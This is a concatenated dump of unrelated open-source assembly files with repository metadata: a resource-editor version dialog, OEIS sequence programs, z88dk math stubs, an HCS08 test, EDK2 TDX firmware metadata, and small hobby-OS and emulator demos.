invoke SaveStr,edi,addr szBLOCK add edi,eax mov al,' ' stosb mov al,22h stosb invoke SaveStr,edi,addr szVarFileInfo add edi,eax mov al,22h stosb mov al,0Dh stosb mov al,0Ah stosb mov al,' ' stosb stosb invoke SaveStr,edi,addr szBEGIN add edi,eax mov al,0Dh stosb mov al,0Ah stosb mov al,' ' stosb stosb stosb stosb invoke SaveStr,edi,addr szVALUE add edi,eax mov al,' ' stosb mov al,22h stosb invoke SaveStr,edi,addr szTranslation add edi,eax mov al,22h stosb mov al,',' stosb mov al,' ' stosb mov al,'0' stosb mov al,'x' stosb mov eax,[esi].VERSIONMEM.lng invoke hexEax invoke strcpy,edi,offset strHex+4 add edi,4 mov al,',' stosb mov al,' ' stosb mov al,'0' stosb mov al,'x' stosb mov eax,[esi].VERSIONMEM.chs invoke hexEax invoke strcpy,edi,offset strHex+4 add edi,4 mov al,0Dh stosb mov al,0Ah stosb mov al,' ' stosb stosb invoke SaveStr,edi,addr szEND add edi,eax mov al,0Dh stosb mov al,0Ah stosb invoke SaveStr,edi,addr szEND add edi,eax mov al,0Dh stosb mov al,0Ah stosb mov al,0Dh stosb mov al,0Ah stosb mov al,0 stosb pop eax ret SaveVer: mov eax,[esi] call SaveVerItem mov eax,[esi+4] call SaveVerItem mov eax,[esi+8] call SaveVerItem mov eax,[esi+12] call SaveVerItem dec edi mov al,0Dh stosb mov al,0Ah stosb retn SaveVerItem: invoke ResEdBinToDec,eax,edi invoke strlen,edi lea edi,[edi+eax] mov al,',' stosb retn SaveHex: mov word ptr [edi],'x0' add edi,2 invoke hexEax invoke strcpy,edi,offset strHex add edi,8 mov al,0Dh stosb mov al,0Ah stosb retn ExportVersion endp SaveVersionEdit proc uses ebx esi edi,hWin:HWND LOCAL nInx:DWORD LOCAL buffer[512]:BYTE invoke GetWindowLong,hWin,GWL_USERDATA .if !eax invoke SendMessage,hRes,PRO_ADDITEM,TPE_VERSION,FALSE push eax invoke RtlMoveMemory,[eax].PROJECT.hmem,offset defver,sizeof VERSIONMEM+sizeof VERSIONITEM*32 pop eax .endif mov ebx,eax push ebx mov esi,[ebx].PROJECT.hmem invoke GetProjectItemName,ebx,addr buffer invoke SetProjectItemName,ebx,addr buffer invoke GetDlgItemText,hWin,IDC_EDTVERFILE,addr buffer,16 push esi lea esi,[esi].VERSIONMEM.fv call GetVerNum pop esi invoke GetDlgItemText,hWin,IDC_EDTVERPROD,addr buffer,16 push esi lea esi,[esi].VERSIONMEM.pv call GetVerNum pop esi invoke SendDlgItemMessage,hWin,IDC_CBOVEROS,CB_GETCURSEL,0,0 invoke SendDlgItemMessage,hWin,IDC_CBOVEROS,CB_GETITEMDATA,eax,0 mov [esi].VERSIONMEM.os,eax invoke SendDlgItemMessage,hWin,IDC_CBOVERTYPE,CB_GETCURSEL,0,0 invoke SendDlgItemMessage,hWin,IDC_CBOVERTYPE,CB_GETITEMDATA,eax,0 mov [esi].VERSIONMEM.ft,eax invoke SendDlgItemMessage,hWin,IDC_CBOVERLANG,CB_GETCURSEL,0,0 invoke SendDlgItemMessage,hWin,IDC_CBOVERLANG,CB_GETITEMDATA,eax,0 mov [esi].VERSIONMEM.lng,eax invoke SendDlgItemMessage,hWin,IDC_CBOVERCHAR,CB_GETCURSEL,0,0 invoke SendDlgItemMessage,hWin,IDC_CBOVERCHAR,CB_GETITEMDATA,eax,0 mov [esi].VERSIONMEM.chs,eax lea esi,[esi+sizeof VERSIONMEM] mov nInx,0 .while TRUE mov [esi].VERSIONITEM.szname,0 mov [esi].VERSIONITEM.szvalue,0 invoke SendDlgItemMessage,hWin,IDC_LSTVER,LB_GETTEXT,nInx,addr [esi].VERSIONITEM.szname .break .if eax==LB_ERR invoke SendDlgItemMessage,hWin,IDC_LSTVER,LB_GETITEMDATA,nInx,0 invoke strcpy,addr [esi].VERSIONITEM.szvalue,eax lea esi,[esi+sizeof VERSIONITEM] inc nInx .endw pop eax ret GetVerNum: lea edi,buffer call GetVerNumItem mov [esi],eax call GetVerNumItem mov [esi+4],eax call GetVerNumItem mov [esi+8],eax call GetVerNumItem mov [esi+12],eax retn GetVerNumItem: invoke ResEdDecToBin,edi .while byte ptr [edi]!='.' && byte ptr [edi] inc edi .endw .if byte ptr [edi]=='.' inc edi .endif retn SaveVersionEdit endp VersionSetCbo proc uses esi,hWin:HWND,nID:DWORD,lpKey:DWORD,nVal:DWORD LOCAL nInx:DWORD mov esi,lpKey .while byte ptr [esi+4] push [esi] add esi,4 invoke SendDlgItemMessage,hWin,nID,CB_ADDSTRING,0,esi pop edx invoke SendDlgItemMessage,hWin,nID,CB_SETITEMDATA,eax,edx invoke strlen,esi lea esi,[esi+eax+1] .endw mov nInx,0 .while TRUE invoke SendDlgItemMessage,hWin,nID,CB_GETITEMDATA,nInx,0 .break .if eax==CB_ERR .if eax==nVal invoke SendDlgItemMessage,hWin,nID,CB_SETCURSEL,nInx,0 .break .endif inc nInx .endw ret VersionSetCbo endp EditProc proc hWin:HWND,uMsg:UINT,wParam:WPARAM,lParam:LPARAM .if uMsg==WM_CHAR .if wParam==VK_RETURN invoke GetParent,hWin invoke PostMessage,eax,WM_COMMAND,IDC_BTNVERADD,hWin xor eax,eax ret .endif .endif invoke CallWindowProc,lpOldEditProc,hWin,uMsg,wParam,lParam ret EditProc endp VersionEditProc proc uses esi edi,hWin:HWND,uMsg:UINT,wParam:WPARAM,lParam:LPARAM LOCAL nInx:DWORD LOCAL buffer[512]:BYTE LOCAL rect:RECT LOCAL fChanged:DWORD mov eax,uMsg .if eax==WM_INITDIALOG mov eax,hWin mov hVerDlg,eax mov fChanged,FALSE mov esi,lParam invoke SetWindowLong,hWin,GWL_USERDATA,esi .if esi mov esi,[esi].PROJECT.hmem .else invoke GetFreeProjectitemID,TPE_VERSION mov esi,offset defver mov [esi].VERSIONMEM.value,eax invoke strcpy,addr [esi].VERSIONMEM.szname,addr szVersionName invoke GetUnikeName,addr [esi].VERSIONMEM.szname mov fChanged,TRUE .endif invoke RtlZeroMemory,offset szVersionTxt,sizeof szVersionTxt mov lpResType,offset szVERSIONINFO lea eax,[esi].VERSIONMEM.szname mov lpResName,eax lea eax,[esi].VERSIONMEM.value mov lpResID,eax invoke SendDlgItemMessage,hWin,IDC_EDTVERFILE,EM_LIMITTEXT,16,0 push esi lea esi,[esi].VERSIONMEM.fv call ConvVer pop esi invoke SetDlgItemText,hWin,IDC_EDTVERFILE,addr buffer invoke SendDlgItemMessage,hWin,IDC_EDTVERPROD,EM_LIMITTEXT,16,0 push esi lea esi,[esi].VERSIONMEM.pv call ConvVer pop esi invoke SetDlgItemText,hWin,IDC_EDTVERPROD,addr buffer invoke VersionSetCbo,hWin,IDC_CBOVEROS,offset szVerOS,[esi].VERSIONMEM.os invoke VersionSetCbo,hWin,IDC_CBOVERTYPE,offset szVerFT,[esi].VERSIONMEM.ft invoke VersionSetCbo,hWin,IDC_CBOVERLANG,addr szVerLNG,[esi].VERSIONMEM.lng invoke VersionSetCbo,hWin,IDC_CBOVERCHAR,addr szVerCHS,[esi].VERSIONMEM.chs lea esi,[esi+sizeof VERSIONMEM] mov edi,offset szVerTpe .while byte ptr [edi] call AddTpe invoke strlen,edi lea edi,[edi+eax+1] .endw mov edi,offset szVersionTxt .while [esi].VERSIONITEM.szname invoke SendDlgItemMessage,hWin,IDC_LSTVER,LB_ADDSTRING,0,addr [esi].VERSIONITEM.szname invoke SendDlgItemMessage,hWin,IDC_LSTVER,LB_SETITEMDATA,eax,edi invoke strcpy,edi,addr [esi].VERSIONITEM.szvalue add edi,256 lea esi,[esi+sizeof VERSIONITEM] .endw invoke SendDlgItemMessage,hWin,IDC_EDTVER,EM_LIMITTEXT,255,0 invoke SendDlgItemMessage,hWin,IDC_EDTVERTPE,EM_LIMITTEXT,63,0 invoke SendDlgItemMessage,hWin,IDC_LSTVER,LB_SETCURSEL,0,0 invoke SendMessage,hWin,WM_COMMAND,(LBN_SELCHANGE shl 16) or IDC_LSTVER,0 invoke GetDlgItem,hWin,IDC_EDTVERTPE mov edx,eax invoke SetWindowLong,edx,GWL_WNDPROC,addr EditProc mov lpOldEditProc,eax invoke GetWindowLong,hWin,GWL_USERDATA .if !eax invoke SaveVersionEdit,hWin invoke SetWindowLong,hWin,GWL_USERDATA,eax .endif invoke PropertyList,-2 mov fNoScroll,TRUE invoke ShowScrollBar,hDEd,SB_BOTH,FALSE invoke SendMessage,hWin,WM_SIZE,0,0 mov eax,fChanged mov fDialogChanged,eax .elseif eax==WM_COMMAND mov eax,wParam mov edx,eax shr edx,16 and eax,0FFFFh .if edx==BN_CLICKED .if eax==IDOK invoke SaveVersionEdit,hWin .if fDialogChanged invoke SendMessage,hRes,PRO_SETMODIFY,TRUE,0 mov fDialogChanged,FALSE .endif .elseif eax==IDCANCEL invoke SendMessage,hWin,WM_CLOSE,NULL,NULL invoke PropertyList,0 .elseif eax==IDC_BTNVERADD invoke SendDlgItemMessage,hWin,IDC_EDTVERTPE,WM_GETTEXT,sizeof buffer,addr buffer .if eax lea edi,buffer invoke GetWindowLong,hWin,GWL_USERDATA .if eax mov esi,[eax].PROJECT.hmem .else mov esi,offset defver .endif lea esi,[esi+sizeof VERSIONMEM] call AddTpe invoke SendDlgItemMessage,hWin,IDC_LSTVER,LB_RESETCONTENT,0,0 mov edi,offset szVersionTxt mov nInx,-1 .while [esi].VERSIONITEM.szname invoke SendDlgItemMessage,hWin,IDC_LSTVER,LB_ADDSTRING,0,addr [esi].VERSIONITEM.szname invoke SendDlgItemMessage,hWin,IDC_LSTVER,LB_SETITEMDATA,eax,edi invoke strcpy,edi,addr [esi].VERSIONITEM.szvalue inc nInx add edi,256 lea esi,[esi+sizeof VERSIONITEM] .endw mov buffer,0 invoke SendDlgItemMessage,hWin,IDC_LSTVER,LB_SETCURSEL,nInx,0 invoke SendDlgItemMessage,hWin,IDC_EDTVERTPE,WM_SETTEXT,0,addr buffer invoke SendMessage,hWin,WM_COMMAND,(LBN_SELCHANGE shl 16) or IDC_LSTVER,0 invoke GetDlgItem,hWin,IDC_BTNVERADD invoke EnableWindow,eax,FALSE .endif .endif .elseif edx==EN_CHANGE .if eax==IDC_EDTVER invoke SendDlgItemMessage,hWin,IDC_LSTVER,LB_GETCURSEL,0,0 invoke SendDlgItemMessage,hWin,IDC_LSTVER,LB_GETITEMDATA,eax,0 invoke SendDlgItemMessage,hWin,IDC_EDTVER,WM_GETTEXT,256,eax .elseif eax==IDC_EDTVERTPE invoke GetDlgItem,hWin,IDC_BTNVERADD push eax invoke SendDlgItemMessage,hWin,IDC_EDTVERTPE,WM_GETTEXTLENGTH,0,0 pop edx invoke EnableWindow,edx,eax .endif mov fDialogChanged,TRUE invoke NotifyParent .elseif edx==LBN_SELCHANGE .if eax==IDC_LSTVER invoke SendDlgItemMessage,hWin,IDC_LSTVER,LB_GETCURSEL,0,0 .if eax!=LB_ERR invoke SendDlgItemMessage,hWin,IDC_LSTVER,LB_GETITEMDATA,eax,0 invoke SendDlgItemMessage,hWin,IDC_EDTVER,WM_SETTEXT,0,eax .endif .endif mov fDialogChanged,TRUE invoke NotifyParent .endif .elseif eax==WM_CLOSE mov fNoScroll,FALSE invoke ShowScrollBar,hDEd,SB_BOTH,TRUE invoke DestroyWindow,hWin mov hVerDlg,0 .elseif eax==WM_SIZE invoke SendMessage,hDEd,WM_VSCROLL,SB_THUMBTRACK,0 invoke SendMessage,hDEd,WM_HSCROLL,SB_THUMBTRACK,0 invoke GetClientRect,hDEd,addr rect mov rect.left,3 mov rect.top,3 sub rect.right,6 sub rect.bottom,6 invoke MoveWindow,hWin,rect.left,rect.top,rect.right,rect.bottom,TRUE .else mov eax,FALSE ret .endif mov eax,TRUE ret ConvVer: lea edi,buffer invoke ResEdBinToDec,[esi],edi invoke strlen,edi lea edi,[edi+eax] mov al,'.' stosb invoke ResEdBinToDec,[esi+4],edi invoke strlen,edi lea edi,[edi+eax] mov al,'.' stosb invoke ResEdBinToDec,[esi+8],edi invoke strlen,edi lea edi,[edi+eax] mov al,'.' stosb invoke ResEdBinToDec,[esi+12],edi retn AddTpe: push esi .while [esi].VERSIONITEM.szname invoke strcmpi,addr [esi].VERSIONITEM.szname,edi .break .if !eax lea esi,[esi+sizeof VERSIONITEM] .endw invoke strcpy,addr [esi].VERSIONITEM.szname,edi pop esi retn VersionEditProc endp
21.921437
96
0.665728
6e2c23ae8a045f880a7fecb5894772723ecd1cef
396
asm
Assembly
programs/oeis/301/A301797.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/301/A301797.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/301/A301797.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A301797: a(n) = (4^prime(n) - 1)/3. ; 5,21,341,5461,1398101,22369621,5726623061,91625968981,23456248059221,96076792050570581,1537228672809129301,6296488643826193618261,1611901092819505566274901,25790417485112089060398421,6602346876188694799461995861,27043212804868893898596335048021 seq $0,6005 ; The odd prime numbers together with 1. max $0,2 add $0,2 mov $1,4 pow $1,$0 div $1,48 mov $0,$1
36
246
0.800505
9811c88ff85b9659b87d8af1c112684d87277e04
147
asm
Assembly
libsrc/_DEVELOPMENT/math/float/math32/c/sdcc/cm32_sdcc_exp2.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/math/float/math32/c/sdcc/cm32_sdcc_exp2.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/math/float/math32/c/sdcc/cm32_sdcc_exp2.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
SECTION code_fp_math32 PUBLIC cm32_sdcc_exp2 EXTERN cm32_sdcc_fsread1, _m32_exp2f cm32_sdcc_exp2: call cm32_sdcc_fsread1 jp _m32_exp2f
13.363636
36
0.823129
82e33c266a1d658f254b174b65cdcf1f9476e575
126
asm
Assembly
libsrc/_DEVELOPMENT/math/float/am9511/lam32/c/sdcc/exp_fastcall.asm
ahjelm/z88dk
c4de367f39a76b41f6390ceeab77737e148178fa
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/math/float/am9511/lam32/c/sdcc/exp_fastcall.asm
C-Chads/z88dk
a4141a8e51205c6414b4ae3263b633c4265778e6
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/math/float/am9511/lam32/c/sdcc/exp_fastcall.asm
C-Chads/z88dk
a4141a8e51205c6414b4ae3263b633c4265778e6
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
SECTION code_fp_am9511 PUBLIC _exp_fastcall EXTERN asm_am9511_exp_fastcall defc _exp_fastcall = asm_am9511_exp_fastcall
18
45
0.865079
f57960f1402f5755d7a601217ce447e00d26f9a2
387
asm
Assembly
assembler/tests/t_hcs08/t_hcs08.asm
paulscottrobson/RCA-Cosmac-VIP-III
5d3fcea325aacb7c99269f266bc14e30439cdc2b
[ "MIT" ]
1
2022-01-17T16:06:15.000Z
2022-01-17T16:06:15.000Z
assembler/tests/t_hcs08/t_hcs08.asm
paulscottrobson/RCA-Cosmac-VIP-III
5d3fcea325aacb7c99269f266bc14e30439cdc2b
[ "MIT" ]
null
null
null
assembler/tests/t_hcs08/t_hcs08.asm
paulscottrobson/RCA-Cosmac-VIP-III
5d3fcea325aacb7c99269f266bc14e30439cdc2b
[ "MIT" ]
null
null
null
cpu 68HCS08 page 0 bgnd cphx #$55aa cphx $20 cphx $2030 cphx $40,sp ldhx #$55aa ldhx $20 ldhx $2030 ldhx ,x ldhx $40,x ldhx $4050,x ldhx $40,sp sthx $20 sthx $2030 sthx $40,sp
17.590909
23
0.315245
07f89ef4931f5a6a7a5152505d28b5caac946455
3,790
asm
Assembly
OvmfPkg/ResetVector/X64/IntelTdxMetadata.asm
nicklela/edk2
dfafa8e45382939fb5dc78e9d37b97b500a43613
[ "Python-2.0", "Zlib", "BSD-2-Clause", "MIT", "BSD-2-Clause-Patent", "BSD-3-Clause" ]
3,012
2015-01-01T19:58:18.000Z
2022-03-31T22:07:14.000Z
OvmfPkg/ResetVector/X64/IntelTdxMetadata.asm
nicklela/edk2
dfafa8e45382939fb5dc78e9d37b97b500a43613
[ "Python-2.0", "Zlib", "BSD-2-Clause", "MIT", "BSD-2-Clause-Patent", "BSD-3-Clause" ]
1,199
2015-01-12T08:00:01.000Z
2022-03-29T18:14:42.000Z
OvmfPkg/ResetVector/X64/IntelTdxMetadata.asm
nicklela/edk2
dfafa8e45382939fb5dc78e9d37b97b500a43613
[ "Python-2.0", "Zlib", "BSD-2-Clause", "MIT", "BSD-2-Clause-Patent", "BSD-3-Clause" ]
1,850
2015-01-01T11:28:12.000Z
2022-03-31T18:10:59.000Z
;------------------------------------------------------------------------------ ; @file ; Tdx Virtual Firmware metadata ; ; When host VMM creates a new guest TD, some initial set of TD-private pages ; are added using the TDH.MEM.PAGE.ADD function. These pages typically contain ; Virtual BIOS code and data along with some clear pages for stacks and heap. ; In the meanwhile, some configuration data need be measured by host VMM. ; Tdx Metadata is designed for this purpose to indicate host VMM how to do the ; above tasks. ; ; Tdx Metadata consists of a DESCRIPTOR as the header followed by several ; SECTIONs. Host VMM sets up the memory for TDVF according to these sections. ; ; _Bfv is the example (Bfv refers to the Virtual BIOS code). ; - By DataOffset/RawDataSize host VMM knows about the position of the code ; in the binary image. ; - MemoryAddress/MemoryDataSize indicates the guest physical address/size of ; the Bfv to be loaded. ; - Type field means this section is of BFV. This field is designed for the ; purpose that in some case host VMM may do some additional processing based ; upon the section type. TdHob section is an example. Host VMM pass the ; physical memory information to the guest firmware by writing the data in ; the memory region designated by TdHob section. ; - By design code part of the binary image (Bfv) should be measured by host ; VMM. This is indicated by the Attributes field. ; ; So put all these information together, when a new guest is being created, ; the initial TD-private pages for BFV is added by TDH.MEM.PAGE.ADD function, ; and Bfv is loaded at the guest physical address indicated by MemoryAddress. ; Since the Attributes is TDX_METADATA_ATTRIBUTES_EXTENDMR, Bfv is measured by ; host VMM. ; ; Copyright (c) 2021, Intel Corporation. All rights reserved.<BR> ; SPDX-License-Identifier: BSD-2-Clause-Patent ; ;------------------------------------------------------------------------------ BITS 64 %define TDX_METADATA_SECTION_TYPE_BFV 0 %define TDX_METADATA_SECTION_TYPE_CFV 1 %define TDX_METADATA_SECTION_TYPE_TD_HOB 2 %define TDX_METADATA_SECTION_TYPE_TEMP_MEM 3 %define TDX_METADATA_VERSION 1 %define TDX_METADATA_ATTRIBUTES_EXTENDMR 0x00000001 ALIGN 16 TIMES (15 - ((TdxGuidedStructureEnd - TdxGuidedStructureStart + 15) % 16)) DB 0 TdxGuidedStructureStart: ; ; TDVF meta data ; TdxMetadataGuid: DB 0xf3, 0xf9, 0xea, 0xe9, 0x8e, 0x16, 0xd5, 0x44 DB 0xa8, 0xeb, 0x7f, 0x4d, 0x87, 0x38, 0xf6, 0xae _Descriptor: DB 'T','D','V','F' ; Signature DD TdxGuidedStructureEnd - _Descriptor ; Length DD TDX_METADATA_VERSION ; Version DD (TdxGuidedStructureEnd - _Descriptor - 16)/32 ; Number of sections _Bfv: DD TDX_BFV_RAW_DATA_OFFSET DD TDX_BFV_RAW_DATA_SIZE DQ TDX_BFV_MEMORY_BASE DQ TDX_BFV_MEMORY_SIZE DD TDX_METADATA_SECTION_TYPE_BFV DD TDX_METADATA_ATTRIBUTES_EXTENDMR _Cfv: DD TDX_CFV_RAW_DATA_OFFSET DD TDX_CFV_RAW_DATA_SIZE DQ TDX_CFV_MEMORY_BASE DQ TDX_CFV_MEMORY_SIZE DD TDX_METADATA_SECTION_TYPE_CFV DD 0 _TdxHeapStack: DD 0 DD 0 DQ TDX_HEAP_STACK_BASE DQ TDX_HEAP_STACK_SIZE DD TDX_METADATA_SECTION_TYPE_TEMP_MEM DD 0 _TdxInitMem: DD 0 DD 0 DQ TDX_INIT_MEMORY_BASE DQ TDX_INIT_MEMORY_SIZE DD TDX_METADATA_SECTION_TYPE_TEMP_MEM DD 0 _TdHob: DD 0 DD 0 DQ TDX_HOB_MEMORY_BASE DQ TDX_HOB_MEMORY_SIZE DD TDX_METADATA_SECTION_TYPE_TD_HOB DD 0 _OvmfPageTable: DD 0 DD 0 DQ OVMF_PAGE_TABLE_BASE DQ OVMF_PAGE_TABLE_SIZE DD TDX_METADATA_SECTION_TYPE_TEMP_MEM DD 0 TdxGuidedStructureEnd: ALIGN 16
32.672414
80
0.699472
3620361bc5856edb4c993330f0cb308d814680fa
1,697
asm
Assembly
cli.asm
paulmooreparks/Tortilla
bd0db349d0b114e9b86a85c8e991b42c8df9ae1d
[ "Apache-2.0" ]
4
2016-09-27T20:52:07.000Z
2021-12-24T06:46:46.000Z
cli.asm
paulmooreparks/Tortilla
bd0db349d0b114e9b86a85c8e991b42c8df9ae1d
[ "Apache-2.0" ]
2
2018-08-29T03:26:54.000Z
2020-12-28T03:35:43.000Z
cli.asm
paulmooreparks/Tortilla
bd0db349d0b114e9b86a85c8e991b42c8df9ae1d
[ "Apache-2.0" ]
null
null
null
INCLUDE "core.asm" INCLUDE "stdlib.asm" LABEL _start $00001000 LABEL output AUTO LABEL first_word AUTO LABEL second_word AUTO LABEL message AUTO LABEL prompt AUTO LABEL color_1 AUTO LABEL color_2 AUTO ; Startup routine _start: ; Set background color CLR A LD $0B A.B1 LD $00 A.B3 LD $00 A.B2 ; Black INT $10 ; Clear screen CLR A LD $04 A.B1 INT $10 ; Set foreground color CLR A LD $0B A.B1 LD $01 A.B3 LD @color_1 A.B2 INT $10 ; Write first word LD first_word G CALL stdlib_puts ; Change foreground color CLR A LD $0B A.B1 LD $01 A.B3 LD @color_2 A.B2 INT $10 ; Write second word LD second_word G CALL stdlib_puts ; Set foreground color CLR A LD $0B A.B1 LD $01 A.B3 LD $07 A.B2 ; Gray INT $10 ; Move cursor CLR A LD $02 A.B1 LD $00 A.B6 LD $02 A.B7 INT $10 ; Write message LD message G CALL stdlib_puts ; Move cursor CLR A LD $02 A.B1 LD $00 A.B6 LD $04 A.B7 INT $10 ; Write prompt LD prompt G CALL stdlib_puts ; We're done doing setup, so go halt the CPU and wait for interrupts LD $01 A ; A.Q0 = $00 -> yield idle time to OS INT $40 color_1: DATA $0E ; Yellow color_2: DATA $0B ; Cyan first_word: STRING "Maize \0" second_word: STRING "CLI\0" message: STRING "Okay, it's not a CLI yet, but it's the framework for one. Type characters to see echo, or CTRL-C to exit.\0" prompt: STRING "> \0"
16.80198
120
0.549204
2beb77c8fb5ba75d6d995934a2019e85462628f7
1,231
asm
Assembly
programs/oeis/229/A229004.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/229/A229004.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/229/A229004.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A229004: Indices of Bell numbers divisible by 3. ; 4,8,9,11,17,21,22,24,30,34,35,37,43,47,48,50,56,60,61,63,69,73,74,76,82,86,87,89,95,99,100,102,108,112,113,115,121,125,126,128,134,138,139,141,147,151,152,154,160,164,165,167,173,177,178,180,186,190,191,193,199,203,204,206,212,216,217,219,225,229,230,232,238,242,243,245,251,255,256,258,264,268,269,271,277,281,282,284,290,294,295,297,303,307,308,310,316,320,321,323,329,333,334,336,342,346,347,349,355,359,360,362,368,372,373,375,381,385,386,388,394,398,399,401,407,411,412,414,420,424,425,427,433,437,438,440,446,450,451,453,459,463,464,466,472,476,477,479,485,489,490,492,498,502,503,505,511,515,516,518,524,528,529,531,537,541,542,544,550,554,555,557,563,567,568,570,576,580,581,583,589,593,594,596,602,606,607,609,615,619,620,622,628,632,633,635,641,645,646,648,654,658,659,661,667,671,672,674,680,684,685,687,693,697,698,700,706,710,711,713,719,723,724,726,732,736,737,739,745,749,750,752,758,762,763,765,771,775,776,778,784,788,789,791,797,801,802,804,810,814 mov $3,$0 mov $5,$0 add $5,1 lpb $5 mov $0,$3 sub $5,1 sub $0,$5 sub $0,1 mod $0,4 mov $2,4 mov $4,1 lpb $0 mov $2,$0 sub $0,1 mul $4,$2 lpe add $4,$2 sub $4,1 add $1,$4 lpe
51.291667
968
0.690496
6b3fd63e6bfc6d3b0c03b73ff7b40ffc772ba1cc
766
asm
Assembly
oeis/290/A290913.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/290/A290913.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/290/A290913.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A290913: p-INVERT of the positive integers, where p(S) = 1 - 7*S^2. ; Submitted by Jamie Morken(w2) ; 0,7,28,119,532,2352,10388,45913,202916,896777,3963288,17515680,77410200,342112855,1511961052,6682082183,29531331004,130513137552,576800248892,2549157374953,11265950967908,49789649104601,220044376637232,972481802150208,4297864230688560,18994326582348775,83945053392047260,370993515271141847,1639598556575321188,7246173628558266864,32024322078500908772,141530862653592044857,625492868650526834468,2764353451941144750953,12217005804950973108936,53992817283693552479712,238620195878839235197128 mov $1,1 lpb $0 sub $0,1 add $2,$1 add $1,$3 add $1,$2 add $1,$3 add $1,$2 add $1,$3 sub $4,$3 add $4,$2 add $3,$4 sub $4,$3 lpe mov $0,$3 mul $0,7
36.47619
492
0.784595
816cd71e9935c9556e1a2ea77e1c0fb82d7ad74c
475
asm
Assembly
programs/oeis/132/A132189.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/132/A132189.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/132/A132189.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A132189: Number of non-constant 3-term geometric progressions with no term exceeding n. ; 0,0,0,2,2,2,2,4,8,8,8,10,10,10,10,16,16,20,20,22,22,22,22,24,32,32,36,38,38,38,38,44,44,44,44,54,54,54,54,56,56,56,56,58,62,62,62,68,80,88,88,90,90,94,94,96,96,96,96,98,98,98,102,116,116,116,116,118,118,118 lpb $0 mov $2,$0 sub $0,1 seq $2,57918 ; Number of pairs of numbers (a,b) each less than n where (a,b,n) is in geometric progression. add $1,$2 lpe mul $1,2 mov $0,$1
39.583333
208
0.671579
8b1d62e587e811a77ce2bfdc7f1e3b4ae062c343
1,298
asm
Assembly
programs/pwd.asm
re0ah/nameless-OS16
3218ec1e83130a027ec74697ab72e2de75b3bb66
[ "Unlicense" ]
null
null
null
programs/pwd.asm
re0ah/nameless-OS16
3218ec1e83130a027ec74697ab72e2de75b3bb66
[ "Unlicense" ]
null
null
null
programs/pwd.asm
re0ah/nameless-OS16
3218ec1e83130a027ec74697ab72e2de75b3bb66
[ "Unlicense" ]
null
null
null
;This is free and unencumbered software released into the public domain. ;Anyone is free to copy, modify, publish, use, compile, sell, or ;distribute this software, either in source code form or as a compiled ;binary, for any purpose, commercial or non-commercial, and by any ;means. ;In jurisdictions that recognize copyright laws, the author or authors ;of this software dedicate any and all copyright interest in the ;software to the public domain. We make this dedication for the benefit ;of the public at large and to the detriment of our heirs and ;successors. We intend this dedication to be an overt act of ;relinquishment in perpetuity of all present and future rights to this ;software under copyright law. ;THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, ;EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF ;MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. ;IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR ;OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ;ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR ;OTHER DEALINGS IN THE SOFTWARE. ;For more information, please refer to <http://unlicense.org/> bits 16 %include "../source/syscall.inc" pwd: xor ax, ax retf
41.870968
72
0.781972
6cee21c78487751bd20bbdc46029f9bcc448b76e
1,769
asm
Assembly
programs/oeis/168/A168220.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
